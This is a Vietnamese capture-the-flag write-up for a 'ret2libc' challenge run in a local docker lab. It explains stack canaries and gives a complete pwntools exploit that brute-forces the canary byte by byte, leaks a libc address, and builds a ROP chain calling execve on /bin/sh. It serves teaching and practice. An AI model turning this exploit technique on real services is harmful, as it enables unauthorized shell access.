Page cover

🤕ret2libc

Challenge

Ở thử thách này, tôi chỉ nhận được file libc.so.6.

Và 2 file docker để chạy môi trường trên máy của mình.

Chạy file buildnrun.sh để setup môi trường.

Netcat vào môi trường này

==> Tôi đã ghi đè 40 byte để có thể xảy ra lỗi *** stack smashing detected ***.

Overview

Tôi sẽ nói qua về lỗi này 1 chút trước khi bắt đầu phân tích bài này. Tôi có chương trình cơ bản sau:

source.c
gcc source.c -o source -no-pie
#include<stdio.h>
int main(){
    char buffer[32];
    printf("Input data: ");
    gets(buffer);
    return 0;
}

+ Phần mũi tên màu xanh chính là canary vì canary thường có byte \x00 ở cuối

+ Phần mũi tên màu vàng có thể là giá trị 0x1 hoặc giá trị 0x0

+ Ngay bên dưới nó là __libc_start_call_main nếu ret ở hàm main.

+ Bên dưỡi nó nữa là 1 byte null

+ Và bên dưới byte null nó là địa chỉ của hàm main().

Khi mà ta ghi đè lên canary thì lỗi này sẽ xảy ra. Mà giá trị canary chỉ xuất hiện khi stack-protector được bật. Vậy nên, bạn có thể đoán được luôn rằng chương trình bên trên cũng được bật stack giống như chương trình này.

Vậy kĩ thuật bypass Canary là cần thiết :>>

Script

Quay trở lại vấn đề chính. Một câu hỏi đặt ra đó là làm thế nào để có thể bypass được Canary. Thì đơn giản chỉ là gửi 1 payload có chứa giá trị của canary là được. Vậy làm thế nào để biết được giá trị canary đó ?

Bạn chỉ cần làm được 2 việc trên thì mọi chuyện coi như xong

Leak Canary

Trong bước này, ta phải leak từng byte ra ngoài màn hình để chương trình không bị lỗi.

Và giá trị của canary có thể như sau:

Byte cuối cùng có nó luôn là \x00 nên ta phải lặp lại tất cả là 7 lần và ta sẽ thử từ 0x00 --> 0xFF.

Trước tiên tạo khung chương trình đã:

#!/usr/bin/env python3
from pwn import *

libc = ELF("./libc.so.6")
r = remote("0", 10001)
<code_here>
r.interactive()

Đây là phần code của tôi để leak được canary theo như logic trên.

Sau khi bạn chạy code trên thì bạn sẽ nhận được canary được leak ra.

Vậy bước tiếp theo là leak địa chỉ ngay sau canary. Có thể là địa chỉ libc hoặc địa chỉ của file binary. Nhưng tôi khá chắc chắn 80% là libc.

Leak LIBC

Bạn hãy nhìn lại phần Overview trước khi làm tiếp.

Ngay sau canary là byte 0x01 (Cái này có thể set 0x0 hoặc 0x1). Và địa chỉ libc.
Payload của tôi có thể là như vậy

Nhưng có 1 vấn đề: Đó là ta không có file binary để lấy các gadget như pop rdi. Nên tôi sẽ phải leak được địa chỉ libc để có thể lấy được các gadget ở file libc.so.6.

Vậy giờ lấy như nào?

Nếu leak từng byte của 1 địa chỉ libc thì ta cần tất cả (6-1) lần thực hiện. Vì 1 địa chỉ thường chiếm 6 bytes. Mà ta đã đoán được 1,5 bytes của địa chỉ đó rồi. (thực ra là 2,5 bytes - tính cả byte 0x7F).

Vậy tổng lần thực hiện là 5 lần. Lần đầu tiên tôi sẽ xử lí 0,5 byte của bytes thứ 2 trước. (Làm tương tự như với canary)

Đây là phần code mà tôi sẽ lấy 2 byte cuối cùng của địa chỉ libc.

Tiếp theo tôi sẽ xử lí 4 bytes tiếp theo.

Có vẻ như là chính xác rồi

Bạn có thể thêm đoạn này vào chương trình:

stack.append(0)
stack.append(0)
stack_addr = u64(bytes(stack))
log.success(f"Stack found: {hex(stack_addr)}")

Để nó in ra như thế này:

Libc Base

Sau khi leak được địa chỉ của libc thì tôi sẽ đi tìm libc base. Và các rop_gadget của file libc đó.

Số liệu kia tôi lấy từ file elf ở phần overview gồm libc base và __libc_start_...

Get Shell

Phần này làm tương tự như các bài khác:

Okii, vậy đã khai thác thành công:

Full Payload

#!/usr/bin/env python3
from pwn import *

libc = ELF("./libc.so.6")
r = remote("0", 10001)

#######################
#     LEAK CANARY     #
#######################
canary = [0x00]
r.recvuntil(b"> ")
for i in range(7):
    for j in range(0x100):
        payload = b"A" * 40 
        payload += b"".join(p8(b) for b in canary) # num to byte in canary
        payload += p8(j) #byte to bruteforce
        r.send(payload)
        if b"*** stack smashing detected ***" not in r.recvuntil(b"> "):
            log.success(f"Byte found: {hex(j)}")
            canary.append(j)
            break

canary = u64(bytes(canary))
log.success(f"Canary found: {hex(canary)}")

######################
#     Stack LEAK     #
######################
stack = [0x90]
for i in range(0x10):
    payload = b"A" * 40 + p64(canary) + p64(0x0)
    payload += b"".join(p8(b) for b in stack)  # send byte 0x90
    payload += p8(i << 4 | 0xd90 >> 8)         # send byte 0x<i>d
    r.send(payload)
    if b"Segmentation fault" not in r.recvuntil(b"> "):
        log.success(f"Stack found {hex(i << 12 | 0xd90)}")
        stack.append(i << 4 | 0xd90 >> 8)   # concatenation 0x<i>d90     
        break


for k in range(4):
    for j in range(0x100):
        payload = b"A" * 40 + p64(canary) + p64(0x0)
        payload += b"".join(p8(b) for b in stack)  # send byte 0x<i>d90
        payload += p8(j)     # Send byte: 0x<j>
        r.send(payload)
        if b"Segmentation fault" not in r.recvuntil(b"> "):
            log.success(f"Stack found {hex(j)}")
            stack.append(j)   # concatenation 0x<j>    
            break
stack.append(0)
stack.append(0)
stack_addr = u64(bytes(stack))
log.success(f"Stack found: {hex(stack_addr)}")

libc.address = stack_addr - 171408
log.success(f"LIBC Base: {hex(libc.address)}")

##################
#   ROP gadget   #
##################
pop_rdi = 0x000000000002a3e5 + libc.address
ret = pop_rdi + 1
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx_rbx = 0x0000000000090529 + libc.address

context.log_level = "DEBUG"
payload = b"A" * 40 + p64(canary) + p64(0x0) 
payload += p64(ret)
payload += p64(pop_rdi) + p64(next(libc.search(b"/bin/sh")))
payload += p64(pop_rsi) + p64(0x0)
payload += p64(pop_rdx_rbx) + p64(0x0) + p64(0x0)
payload += p64(libc.sym["execve"])

r.sendline(payload)
r.interactive()

Last updated